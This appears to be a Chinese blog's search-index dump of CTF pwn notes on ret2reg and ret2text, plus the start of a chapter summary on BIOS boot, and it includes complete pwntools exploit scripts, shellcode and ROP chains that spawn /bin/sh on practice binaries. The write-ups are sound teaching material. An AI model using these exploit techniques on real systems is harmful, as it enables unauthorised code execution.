p64(mprotect_got)+p64(0x601000)+p64(0x1000)+p64(0x7)+ p64(gadget2)# asm(shellcraft.sh())长度为0x30shellcode = asm(shellcraft.sh())#0x40为mrpotect的rop链的长度,0x38为a的长度,0x8为填充地址的长度,目的是返回到shellcodepayload2 += b"a"*(0x38) + p64(0x601020+0x40+0x38+0x8) + shellcode + b"A"*(0xf0-0x40-0x38-0x8-0x30) + p64(0x601020-0x8) + p64(leave_ret)sl(payload2)ia()\n","categories":["pwn"],"tags":["ROP"]},{"title":"ret2libc","url":"/2024/10/24/pwn/ret2libc/","content":"ciscn_2019_c_1\n铁人三项(第五赛区) _ 2018_rop\n[CISCN 2019东北]PWN2#ret2libc #LibcSearcher\n[2021 鹤城杯]littleof#A #ret2libc #canary #LibcSearcher\n [LitCTF 2023]狠狠的溢出涅~#ret2libc #字符串截断\n[SWPUCTF 2023 秋季新生赛]神奇的strlen#A #ret2libc #栈对齐 #泄露libc #字符串截断\n","categories":["pwn"],"tags":["ROP"]},{"title":"ret2reg","url":"/2024/10/24/pwn/ret2reg/","content":"利用原理ret2reg,即返回到寄存器地址进行攻击,可以绕过地址混淆(ASLR)。\n一般用于开启ASLR的ret2shellcode题型,在函数执行后,传入的参数在栈中传给某寄存器,然而该函数在结束前并未将该寄存器复位,就导致这个寄存器仍还保存着参数,当这个参数是shellcode时,只要程序中存在jmp/call reg代码片段时,即可通过gadget跳转至该寄存器执行shellcode。\n该攻击方法之所以能成功,是因为函数内部实现时,溢出的缓冲区地址通常会加载到某个寄存器上,在后来的运行过程中不会修改。\n\n只要在函数ret之前将相关寄存器复位掉,便可以避免此漏洞。\n\n利用思路\n主要在于找到寄存器与缓冲区地址的确定性关系,然后从程序中搜索call reg/jmp reg这样的指令\n\n\n分析和调试程序,查看溢出函数返回时哪个寄存值指向传入的shellcode\n查找call reg或jmp reg,将指令所在的地址填到EIP位置,即返回地址\n在reg指向的空间上注入shellcode\n\n例题\nrsp_shellcode\n\n源代码\n#include <stdio.h>int test = 0;int main() { char input[100]; puts("Get me with shellcode and RSP!"); gets(input); if(test) { asm("jmp *%rsp"); return 0; } else { return 0; }}\n\n\n查保护\n\n没有NX和canary以及PIE保护,即栈可执行。\nArch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments\n\n\n\n分析\n\n分析源代码发现很明显的栈溢出漏洞,并且溢出字节没有限制。\n源代码中还内嵌了一个jmp rsp的汇编指令,猜测要通过ret2reg的方式打shellcode。\ngdb调试发现在函数返回的时候rsp仍然指向缓冲区地址。\n这样我们可以通过将返回地址即下面这条指令的地址覆盖为jmp rsp来让rip指向缓冲区,然后我们再发送shellcode让程序执行shellcode。\n先执行jmp rsp再发送shellcode是因为程序可以溢出很长的字节,我们可以先将rip指向缓冲区然后再发送shellcode执行。\n*RSP 0x7fffffffcd78 —▸ 0x7ffff7da8d90 (__libc_start_call_main+128) ◂— mov edi, eax\n\n\nexp\n\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elf#查找程序gadgetjmp_rsp = next(elf.search(asm('jmp rsp')))payload = flat( b'a' * 120, jmp_rsp, asm(shellcraft.sh()) )sla("RSP!\\n",payload)ia()\n\n\nX-CTF Quals 2016 - b0verfl0w\n\n\n查保护\n\n32位程序无NX、canary以及PIE保护,栈可执行。\nArch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments\n\n\n分析\n\nida反编译\n程序限制读取50个字节,所以我们只能溢出18个字节,所以并不能进行上题的利用方法。\nint vul(){ char s[32]; // [esp+18h] [ebp-20h] BYREF puts("\\n======================"); puts("\\nWelcome to X-CTF 2016!"); puts("\\n======================"); puts("What's your name?"); fflush(stdout); fgets(s, 50, stdin); printf("Hello %s.", s); fflush(stdout); return 1;}\n\ngdb动调调试发现rsp指向缓冲区。\n*ESP 0xffffbe4c —▸ 0x8048519 (main+11) ◂— leave\n\n我们无法直接返回执行很长的shellcode,但是可以通过较短的汇编指令将栈帧进行一个迁移。\n迁移到一个我们想要它执行的地方,比如payload的前部分。\n\nexp\n\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfshellcode=asm("""push 0x68732fpush 0x6e69622fmov ebx,espxor ecx,ecxpush 11pop eaxint 0x80""")jmp_esp = next(elf.search(asm('jmp esp')))payload = shellcode + (0x20 - len(shellcode)) * b'a' + b'aaaa' + p32(jmp_esp) + asm('sub esp, 0x28;jmp esp')sl(payload)ia()\n\n\n[广东省大学生攻防大赛 2022]jmp_rsp\n\n64位程序无NX、PIE保护,栈可执行。\n程序显示存在canary保护。\n\n查保护\n\nArch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments\n\n\n分析\n\nida反编译查看main函数。\n发现程序存在栈溢出,并且程序并没有进行canary检查。\n所以这个canary是假的。\nint __fastcall main(int argc, const char **argv, const char **envp){ char v3; // cl char buf[128]; // [rsp+0h] [rbp-80h] BYREF printf("this is a classic pwn", argv, envp, v3); read(0, buf, 0x100uLL); return 0;}\n\ngdb动调调试发现rsp指向栈空间。\n同样,让rsp进行一个迁移即可。\n*RSP 0x7fffffffcf68 —▸ 0x401119 (__libc_start_main+777) ◂— mov edi, eax\n\n\nexp\n\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfjmp_rsp = next(elf.search(asm('jmp rsp')))payload = asm(shellcraft.sh()).ljust(0x88, b'\\x00') + p64(jmp_rsp) + asm('sub rsp, 0x90; jmp rsp')sl(payload)ia()\n\n\nciscn_2019_s_9\n\n\n查保护\n\n几乎没保护,可以尝试打shellcode。\n➜ checksec ./ciscn_s_9 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments\n\n\n分析\n\n分析main函数\n发现关键函数pwn,进入查看。\nint __cdecl main(int argc, const char **argv, const char **envp){ return pwn();}\n\n分析函数发现,fgets向变量s从标准输入流读取了50个字符,所以存在栈溢出。\n溢出了18个字节。\nint pwn(){ char s[24]; // [esp+8h] [ebp-20h] BYREF puts("\\nHey! ^_^"); puts("\\nIt's nice to meet you"); puts("\\nDo you have anything to tell?"); puts(">"); fflush(stdout); fgets(s, 50, stdin); puts("OK bye~"); fflush(stdout); return 1;}\n\ngdb动态调试发现,在pwn函数返回时esp是指向栈顶的。\n而且我们在函数表中发现了jmp rsp指令,所以接下来的思路就很清晰了。\n通过ret2reg打shellcode\n但是我们只溢出了18个字节,并不足够写shellcode。\n但是我们可以通过jmp esp执行sub esp指令来将栈进行一个迁移,然后执行我们的shellcode。\npwndbg>0x08048550 20 in pwn.cLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA───────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────────── EAX 1 EBX 0xf7fa0000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac ECX 0x6c0 EDX 0xf7fa19b4 (_IO_stdfile_1_lock) ◂— 0 EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0 ESI 0xffffc364 —▸ 0xffffc534 ◂— 0x746e6d2f ('/mnt')*EBP 0xffffc298 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0*ESP 0xffffc28c —▸ 0x804856f (main+22) ◂— add esp, 4*EIP 0x8048550 (pwn+149) ◂— ret─────────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────────────────────────────────────── 0x8048541 <pwn+134> push eax 0x8048542 <pwn+135> call fflush@plt <fflush@plt> 0x8048547 <pwn+140> add esp, 0x10 ESP => 0xffffc260 (0xffffc250 + 0x10) 0x804854a <pwn+143> mov eax, 1 EAX => 1 0x804854f <pwn+148> leave ► 0x8048550 <pwn+149> ret <main+22>─────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────00:0000│ esp 0xffffc28c —▸ 0x804856f (main+22) ◂— add esp, 401:0004│-008 0xffffc290 ◂— 102:0008│-004 0xffffc294 —▸ 0xffffc2b0 ◂— 103:000c│ ebp 0xffffc298 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 004:0010│+004 0xffffc29c —▸ 0xf7d97519 (__libc_start_call_main+121) ◂— add esp, 0x1005:0014│+008 0xffffc2a0 —▸ 0xffffc534 ◂— 0x746e6d2f ('/mnt')06:0018│+00c 0xffffc2a4 ◂— 0x70 /* 'p' */07:001c│+010 0xffffc2a8 —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x36f2c───────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────── ► 0 0x8048550 pwn+149 1 0x804856f main+22 2 0xf7d97519 __libc_start_call_main+121 3 0xf7d975f3 __libc_start_main+147 4 0x80483e1 _start+33────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────pwndbg>\n\n\nexp\n\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfjmp_esp = next(elf.search(asm('jmp esp')))shellcode=b"\\x6a\\x0b\\x58\\x99\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\xcd\\x80"payload = shellcode + (36 - len(shellcode)) * b'a' + p32(jmp_esp) + asm('sub esp,40;jmp esp')r()sl(payload)ia()\n\n后言\n参考链接:Using RSP | Cybersec (gitbook.io)\n\n","categories":["pwn"],"tags":["ROP"]},{"title":"ret2syscall","url":"/2024/10/24/pwn/ret2syscall/","content":"[MoeCTF 2022]syscall\n[WUSTCTF 2020]getshell2\n[CISCN 2023 初赛]烧烤摊儿\n[LitCTF 2023]ezlogin\n","categories":["pwn"],"tags":["ROP"]},{"title":"ret2shellcode","url":"/2024/10/24/pwn/ret2shellcode/","content":"","categories":["pwn"],"tags":["ROP"]},{"title":"ret2text","url":"/2024/10/24/pwn/ret2text/","content":"\nret2text,即通过控制程序执行流执行程序本身已有的代码(.text段),是一种较为广义的描述。在这种攻击方法中,攻击者可以控制程序执行若干不相邻的代码段(即gadgets),这就是我们常说的ROP(Return-Oriented Programming)。\n\n32位程序和64位程序在 pwn 中的差别主要体现在调用约定的不同。\n调用约定定义了函数调用时参数的传递方式、返回值的传递方式以及调用者和被调用者之间的栈管理。\n函数使用什么样的调用约定则由操作系统和编译器决定。\nx86原理Linux 系统32位程序 gcc 编译器使用 cdecl 调用约定。\ncdecl\n\n参数传递:\n参数从右到左压入栈。\n\n\n返回值\n返回值通常存放在EAX寄存器中。\n\n\n栈清理\n调用者负责清理栈。\n\n\n\n32位程序利用堆栈传参,每调用一个函数都会创建一个函数的栈帧用于存放参数和局部变量。\n下面我们通过一个例子进行讲解\n下面的是伪代码\nvoid bin(){\tsystem("/bin/sh");}int fun(int a){\tchar buf[36]={0};\tint num;\tgets(buf);\tnum=a+buf[0];\treturn num;}int main(){\tfun(1);\tprintf("hello world");\treturn 0;}\n\n在下图中黄色的是缓冲区用于存储局部变量和数组。\n蓝色的是创建栈帧前的ebp,红色是函数返回地址,绿色是参数。\n在fun函数中我们定义了一个36字节的数组和一个四字节的变量。\n在下图中我们可以很清楚看到这一点。\n缓冲区溢出就是向局部变量写入数据的时候没有限制写入长度产生溢出覆盖ebp和返回地址。\n比如通过一个gets函数向buf数组写入48字节就可以覆盖ebp和返回地址。\n原返回地址是返回到printf,但是我们可以将返回地址覆盖为指定地址。比如代码段中存在的system函数地址。\n这样当fun执行完返回的时候就会返回到system函数执行。\n\n由于32位程序直接使用堆栈传参,所以可以直接利用堆栈构造payload。\n32位程序中内存以四字节对齐,所以ebp和返回地址都是4字节,所以溢出8字节就可以覆盖返回地址达到ret2text的目的。\n前提是溢出的长度足够构造payload。\npayload='a'*(36+4+4)+p32(system地址)\n\n这种情况是代码段直接存在后门函数(system)的情况,我们还会碰到代码段有system函数但是没有/bin/sh字符串的情况。\n这就要我们利用堆栈传参的原理来构造 payload 了。\n\n如果这些你听不懂,最好去看一下滴水的汇编课程。滴水逆向\n\nx64原理Linux 系统64位程序 gcc 使用fastcall调用约定。\nfastcall\n\n参数传递:\n前六个整数或指针参数通过寄存器RDI、RSI、RDX、RCX、R8、R9传递。\n前八个浮点参数通过XMM0到XMM7传递。\n其他参数通过栈传递,从右到左的顺序。\n\n\n栈对齐: 调用时栈指针(RSP)必须是16字节对齐的。\n返回值\n值在RAX寄存器中返回。\n浮点返回值在XMM0寄存器中返回。\n\n\n调用者清理栈\n栈上参数由调用者负责清理。\n\n\n\n因为 fastcall 使用寄存器优先传参,所以构造 payload 必须通过 gadget 来构造。\n这里我们先介绍一下什么是gadget。\ngadget就是程序中一系列可以执行有用操作的指令序列(即gadgets),并将这些指令序列的地址链起来形成一个“ROP链”。每个gadgets通常以一个返回指令(ret)结束,这样攻击者可以控制程序的执行流,将控制权从一个gadget转移到下一个gadget。\n我们一般通过 ROPgadget 工具进行搜索程序中的gadget\n\nROPgadget工具使用请阅读这篇文章:https://blog.csdn.net/weixin_45556441/article/details/114631043\n\n如下图,每一行汇编代码都是示例程序中的gadget。\n每一行gadget用于实现特定的功能,后面通过一个ret指令返回。\n我们可以通过ret指令将每个gadget串成一个ROP链。\n在 ret2text 中对我们最重要的gadget就是影响传参寄存器的和ret的。\n➜ ROPgadget --binary ./gift_pwn --only "pop|ret"Gadgets information============================================================0x000000000040066c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x000000000040066e : pop r13 ; pop r14 ; pop r15 ; ret0x0000000000400670 : pop r14 ; pop r15 ; ret0x0000000000400672 : pop r15 ; ret0x000000000040066b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x000000000040066f : pop rbp ; pop r14 ; pop r15 ; ret0x0000000000400520 : pop rbp ; ret0x0000000000400673 : pop rdi ; ret0x0000000000400671 : pop rsi ; pop r15 ; ret0x000000000040066d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret0x0000000000400451 : ret\n\n下面我们通过一个例子进行讲解\n很明显可以看到gets没有限制输入长度,存在栈溢出。\n并且程序中存在/bin/sh字符串和system函数,我们可以通过构造 payload 将/bin/sh的字符串pop进rdi寄存器再执行system函数来获取shell。\n而这就需要pop rdi的gadget。\n\n字符串常量在elf文件中存放在只读数据段\n\nvoid fun(){ system("pwd"); }int main(){ int buf[12]={0}; gets(buf); printf("/bin/sh"); }\n\n所以我们需要根据ROPgadget搜索到程序中pop rdi的gadget。\n然后通过system函数地址和/bin/sh字符串地址构造 payload。\npayload\npaylaod='a'*(12+8)+p64(pop_rdi)+p64(/bin/sh地址)+p64(ret地址)+p64(system地址)\n\n为了栈平衡我们加上一个ret指令地址。\n接下来我们介绍一下栈平衡。\n栈平衡\n栈平衡:栈平衡是指在 pwn 漏洞利用中,为了保证 payload 的字节数是16的倍数,需要对栈进行平衡;而在32位 pwn 漏洞利用中,没有这个机制,仅在64位中存在。 glibc2.27 以后引入 XMM 寄存器,用于记录程序状态。主要出现在 Ubuntu 18:04 及以后的版本,需要考虑栈平衡(栈对齐)\n\n需要栈平衡的主要原因在于:\n\n在调用 system() 函数时,会进入do_system执行一个movaps指令对XMM寄存器进行操作,movaps 指令要求 RSP 按16字节对齐,即:RSP中地址的最低四位必须为0,直观地说,就是该地址必须以数字 0 结尾。\n\n如何解决堆栈平衡问题? \n\n可以通过在进入 system() 函数之前增加一个 ret 指令来解决(常用),或者也可以在 system() 函数中不执行第一条 push rbp 操作来解决\n\n为什么加的是ret指令?\n\n由于在 system() 函数之前加入了一个新地址,栈顶被迫下移 8 个字节,使之对齐 16 字节,满足 movaps 指令对 XMM 寄存器进行操作的条件;同时,由于插入的地址指向了 ret 指令,程序仍然可以顺利地进入 system("/bin/sh") 中,不会改变程序执行流程。\n\n接下来讲一下我在做题中碰到的几种ret2text情况和利用技巧吧。\nret2text的几种情况和技巧调用其它shell函数\n例题:[SWPUCTF 2022 新生赛]有手就行的栈溢出\n\n查保护\n发现没有栈溢出保护和PIE保护\n➜ checksec ./pwn Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)\n\n\n分析\n发现疑似关键函数overflow,进入查看。\nint __fastcall main(int argc, const char **argv, const char **envp){ init(argc, argv, envp); puts("Do you know how stack overflows驴"); overflow(); return 0;}\n\n查看发现危险函数gets函数,向缓冲区写入内容。\ngets函数写入内容没有限制,所以存在栈溢出,而且溢出长度无限制。\n接下来寻找system函数和/bin/sh字符串。\n__int64 overflow(){ char v1[32]; // [rsp+0h] [rbp-20h] BYREF gets(v1); return 0LL;}\n\n在代码段的gift函数中发现了关键字符串\n\n__int64 gift(){ puts("Are you kidding?"); puts("system('/bin/sh')"); return 0LL;}\n\n其中存在sh类字符串,接下来寻找system函数。\n函数窗口没有发现system函数,但是在fun函数中发现了execve函数。\n\n注:system函数底层是调用execve实现的\n\nexecve的第一个参数是执行程序的路径,第二个参数是程序的参数数组,第三个参数是新程序的环境变量数组。\n而下面我们要执行/bin/sh程序,函数中已经设置好了,我们不需要传什么参数以及环境变量,所以其它参数置0即可。\n所以我们可以通过执行下面这个函数获取shell。\nint fun(){ char *argv[2]; // [rsp+0h] [rbp-10h] BYREF argv[0] = "/bin/sh"; argv[1] = 0LL; return execve("/bin/sh", argv, 0LL);}\n\n\nexp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfoff=40#通过程序符号表获取fun函数地址fun=elf.sym.funpayload=b'a'*off+p64(fun)r()sl(payload)ia()\n\n\n数据段的字符串中存在sh字符\n例题:[FSCTF 2023]rdi\n\n即程序不存在/bin/sh字符串,但是sh字符串也可以获取 shell。\n因为Linux中,/bin/sh是二进制程序,而sh是环境变量,相当于执行/bin/sh。\n查保护\nchecksec 查保护,发现为 64 位程序,没有栈溢出和地址随机化保护。\nArch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)\n\n分析\n发现关键函数read,向栈中输入了0xa0即160个字节的数据,判断存在栈溢出。\n缓冲区长度为128,即溢出长度为0xa0减去128则为32。\n溢出32字节。\n接下来寻找system函数和关键字符串。\nint __fastcall main(int argc, const char **argv, const char **envp){ char buf[128]; // [rsp+10h] [rbp-80h] BYREF init(argc, argv, envp); info(); read(0, buf, 0xA0uLL); return 0;}\n\n进入info函数查看\n在字符串中发现关键字符串sh,可以通过sh执行system函数获取shell。\n我们可以通过字符串基址加上sh字符串在字符串中的偏移来作为sh字符串的地址。\nint info(){ puts("this time there won't be sh;"); return puts("ready for your answer:");}\n\n\n更方便的是通过ROPgadget我们可以直接获取sh字符串的地址\n➜ ROPgadget --binary ./rdi --string "sh"Strings information============================================================0x000000000040080d : sh\n\n所以接下来只需要寻找system函数和用于传参的gadget。\n函数窗口发现sytem函数,system函数在plt表。\n\n这里只需要知道调用plt表就是调用函数\n\n\n通过ROPgadget获取gadget\n找到我们需要的pop_rdi和ret了。\n➜ ROPgadget --binary ./rdi --only "pop|ret"Gadgets information============================================================0x00000000004007cc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004007ce : pop r13 ; pop r14 ; pop r15 ; ret0x00000000004007d0 : pop r14 ; pop r15 ; ret0x00000000004007d2 : pop r15 ; ret0x00000000004007cb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004007cf : pop rbp ; pop r14 ; pop r15 ; ret0x0000000000400608 : pop rbp ; ret0x00000000004007d3 : pop rdi ; ret0x00000000004007d1 : pop rsi ; pop r15 ; ret0x00000000004007cd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret0x0000000000400546 : retUnique gadgets found: 11\n\n接下来根据利用思路构造exp。\n我们要覆盖掉rbp所需要的数据填充长度为136即缓冲区长度加8字节。\n于是接下来我们还能溢出24字节。\n但是传参、ret平栈以及调用函数共需要32字节。\n所以就无法这样利用,我们可以通过执行call system指令即不执行push rbp指令来进行平栈。\n这样就可以满足溢出长度要求。\n获取call system指令地址\n.text:00000000004006FB call _system\n\nexp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfsys=0x0000000004006FBsh=0x000000000040080drdi=0x00000000004007d3ret=0x0000000000400546payload=b'a'*136+p64(rdi)+p64(sh)+p64(sys)r()sl(payload)ia()\n\n执行拿到shell\n[DEBUG] Received 0x10 bytes: b'exp_cli.py rdi\\n'exp_cli.py rdi$\n\n\n程序中没有sh字符利用可写函数向可写段写入/bin/sh例题\n\n[HNCTF 2022 Week1]ezr0p32\n\n查保护\nchecksec查保护,发现为32位程序,没有栈溢出和地址随机化保护。\nArch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)\n\n分析\nint __cdecl main(int argc, const char **argv, const char **envp){ init_func(); dofunc(); return 0;}\n\n\n进入dofunc函数查看\nint dofunc(){ char buf[28]; // [esp+Ch] [ebp-1Ch] BYREF system("echo welcome to xzctf,have a fan time\\n"); puts("please tell me your name"); read(0, &::buf, 0x100u); puts("now it's your play time~"); read(0, buf, 0x30u); return 0;}\n\n发现调用system函数执行echo命令输入一串字符。\nputs输出字符,并调用read函数读入内容到buf。\n这里的buf是bss段变量。\n.bss:0804A080 public buf.bss:0804A080 buf db ? ; ; DATA XREF: dofunc+2E↑o.bss:0804A081 db ? ;.bss:0804A082 db ? ;.bss:0804A083 db ? ;.bss:0804A084 db ? ;.bss:0804A085 db ? ;.bss:0804A086 db ? ;.bss:0804A087 db ? ;.bss:0804A088 db ? ;.bss:0804A089 db ? ;.bss:0804A08A db ? ;\n\n接下来又用puts函数输出一串字符。\n并且又调用read函数读入内容到buf,这里的buf是局部变量。\nread函数限制读入0x30个字符,而变量长度为28。判断存在栈溢出。\n并且前面看到了system函数,则plt表一定存在system函数。\n接下来寻找sh类字符串,即/bin/sh或sh。\n通过ROPgadget可以搜索程序字符串。\n没发现有sh类字符串。\n➜ ROPgadget --binary ./ezr0p --string "sh"Strings information============================================================\n\n但是上面的第一个read函数读入内容到bss段,则我们可以将/bin/sh字符串读入到bss段。\n然后通过第二个read函数进行栈溢出调用system函数。\n根据思路构造exp。\n exp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfr()sl(b"/bin/sh")#sh字符串的地址为bss段的地址sh=0x0804A080payload=b'a'*(28+4)+p32(0x80483d0)+p32(0)+p32(sh)r()sl(payload)ia()\n\n执行exp,拿到shell\n[DEBUG] Sent 0x3 bytes: b'ls\\n'[DEBUG] Received 0x57 bytes: b'exp.py\\t ezr0p ezr0p.id1 ezr0p.nam\\n' b'exp_cli.py ezr0p.id0 ezr0p.id2 ezr0p.til\\n'exp.py ezr0p ezr0p.id1 ezr0p.namexp_cli.py ezr0p.id0 ezr0p.id2 ezr0p.til\n\n机器码获取shellsystem($0)也可以获取shell,$0字节码为\\x24\\x30;\n在没有sh字符串的情况下,我们可以将$0作为sh字符串使用。\n例题\n\n[GFCTF 2021]where_is_shell\n\n查保护\n常规流程checksc查保护,发现程序为64位,并且没有栈溢出和地址随机化保护。\nArch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)\n\n分析\nint __fastcall main(int argc, const char **argv, const char **envp){ char buf[16]; // [rsp+0h] [rbp-10h] BYREF system("echo 'zltt lost his shell, can you find it?'"); read(0, buf, 0x38uLL); return 0;}\n\n输出一串英文字符,中文翻译为:echo ‘zltt 失去了他的shell,你能找到吗?\nmain函数中定义了一个char型数组buff,长度为16;\nread函数从标准输入中读取0x38个字节的数据输入到 buf 数组。\n计算溢出40个字节。\n接下来寻找system函数\n函数窗口中发现system函数,在plt表中。\n也可以通过字符串窗口查找\n\n拿到system函数的地址:0x400430\n接下来需要寻找/bin/sh字符串\nida字符串表,ROPgadget搜索。。。。。。都找不到\n之后查大佬的wp,发现了这个思路。\n$0也可以作为/bin/sh字符串使用获取一个shell。\n$0的字节码为/x24/x30。\n我们可以直接通过 objdump 查找\n➜ objdump -d -M intel ./shell | grep 24 400540: e8 24 30 00 00 call 0x403569 <__FRAME_END__+0x2dcd>\n\n向右偏移1字节,地址为:0x400541\n通过栈溢出返回到plt表system函数,并且通过gadget将字节码地址弹入rdi寄存器。执行函数获取shell\n通过 ROPgadget 搜索 gadget\n➜ ROPgadget --binary ./shell --only "pop|ret"Gadgets information============================================================0x00000000004005dc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004005de : pop r13 ; pop r14 ; pop r15 ; ret0x00000000004005e0 : pop r14 ; pop r15 ; ret0x00000000004005e2 : pop r15 ; ret0x00000000004005db : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004005df : pop rbp ; pop r14 ; pop r15 ; ret0x00000000004004b8 : pop rbp ; ret0x00000000004005e3 : pop rdi ; ret0x00000000004005e1 : pop rsi ; pop r15 ; ret0x00000000004005dd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret0x0000000000400416 : ret\n\n拿到pop_rdi和ret。\n接下来根据以上信息构造exp。\n exp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfsh=0x400541sys=elf.plt.systemoff=0x18rdi=0x00000000004005e3ret=0x0000000000400416payload=off*b'a'+p64(rdi)+p64(sh)+p64(ret)+p64(sys)sa("it?\\n",payload)ia()\n\n后言如果你要问,程序中没有system函数怎么办?\n这已经不属于 ret2text 的范畴了。\n\n参考链接:PWN中64位程序的堆栈平衡\n\n","categories":["pwn"],"tags":["ROP"]},{"title":"ret2VDSO","url":"/2024/10/24/pwn/ret2vdso/","content":"","categories":["pwn"],"tags":["ROP"]},{"title":"《操作系统真象还原》chapter2 MBR主引导记录","url":"/2024/10/24/system/system-2/","content":"计算机的启动过程\n为什么程序要载入内存?\n\nCPU 的硬件电路被设计成只能运行于内存中的程序,这是硬件基因的问题,这样做的原因,首先肯定是内存比较快,且容量大。\n其次操作系统可以存储在软盘上,也可以存储在硬盘上,甚至U盘,当然还有很多存储介质都可以。但由于各个硬件特性不同,操作系统要分别考虑每种硬件的特性才行。所以,都在内存中运行程序,操作系统和硬件设计都省事了,这可能也是为了方式的统一吧,\n\n什么是载入内存?\n\n所谓的载入内存,大概上分两部分。\n1.程序被加载器(软件或硬件)加载到内存某个区域。2.CPU 的 cs:ip 寄存器被指向这个程序的起始地址。\n操作系统在加载程序时,是需要某个加载器来将用户存储到内存中的。其实 “加载器” 这只是人为起的名字,突显了其功能,并不是多么神秘的东西,本质上它就是一堆函数组成的模块,不要因为未知的东西而感到畏惧。\n从按下主机上的 power 键后,第一个运行的软件是 BIOS,于是产生了三个问题。\n1.它是由谁加载的。2.它被加载到哪里。3.它的cs:ip是谁来更改的。\n我们在启动电脑的时候运行的第一个软件是BIOS,但是它是由谁来启动的呢?\n软件接力第一棒,BIOSBIOS 全称叫(Base Input & Output System),即基本输入输出系统。\n实模式下的 1MB 内存布局BIOS使用的是实模式的内存布局。\n\n先从低地址看,地址 0~0x9FFFF处是 DRAM,即动态随机访问内存,我们所装的物理内存就是DRAM,如DDR、DDR2等。\n内存地址 0~0x9FFFF 的空间范围是 640KB,这片地址对应到了DRAM,也就是插在主板上的内存条。\n顶部的 0xF0000~0xFFFFF,这64KB的内存是ROM。这里存的就是 BIOS 代码。BIOS 的主要工作是检测、初始化硬件。通过调用硬件提供的初始化功能调用来进行初始化。\nBIOS 还建立了中断向量表,这样就可以通过 “int 中断号” 来实现相关的硬件调用,BIOS 建立的这些功能就是对硬件的 IO 操作,也就是输入输出,但由于就 64KB 大小的空间,不可能把所有硬件的 IO 操作实现地面面俱到,但 BIOS 也只是在实模式下的基本系统,它只需要胜任它在实模式下的基本使命就够了。剩下的交给保护模式。\n内存通过地址总线进行访问,地址总线的宽度决定了可以访问的内存空间大小。但是不止主板撒谎给你的DRAM需要通过地址总线访问,其它例如显存、ROM等也需要通过地址总线访问。\n所以物理内存多大都没用,主要是看地址总线的宽度。还要看地址总线的设计,是不是全部用于访问DRAM。\nBIOS是如何苏醒的BIOS是计算机上第一个运行的软件,它又是被谁加载的呢?因为它是第一个运行的软件所以不可能加载它自己,由此可以知道它是由硬件加载的。而这个硬件就是只读存储器 ROM。\nROM 是一块内存,内存就需要被访问。此 ROM 被映射在低端 1MB 内存的顶部,即地址 0xF0000~0xFFFFF 处。只要访问此处的地址便是访问了 BIOS,这个映射是由硬件完成的。\nBIOS本身是个程序,程序要执行,就要有个入口地址才行,此入口地址便是 0xFFFF0。\n但是 CPU 如何去执行它呢?确切的说就是 CPU 的cs:ip值是如何组成0xFFFF0的。\nBIOS 作为第一个被运行的程序,自然不会是有其它软件启动的它,所以还是由硬件执行完成的。\n在开机的一瞬间,也就是接电的时候,CPU 的 cs:ip寄存器被强制初始化为 0xF000:0xFFF0即地址0xFFFF0。\n但是这个地址访问的地方距离内存空间边缘只剩16字节,这样的空间肯定不够 BIOS 完成它的使命,所以 BIOS 真正的代码不在这,此处的代码只能是个跳转指令。\n所以地址0xFFFF0的指令就是一条跳转指令,而这条跳转指令就是jmp far f000,e05b。即跳转到地址0xfe05b处,这是 BIOS 代码真正开始的地方。\n接下来 BIOS 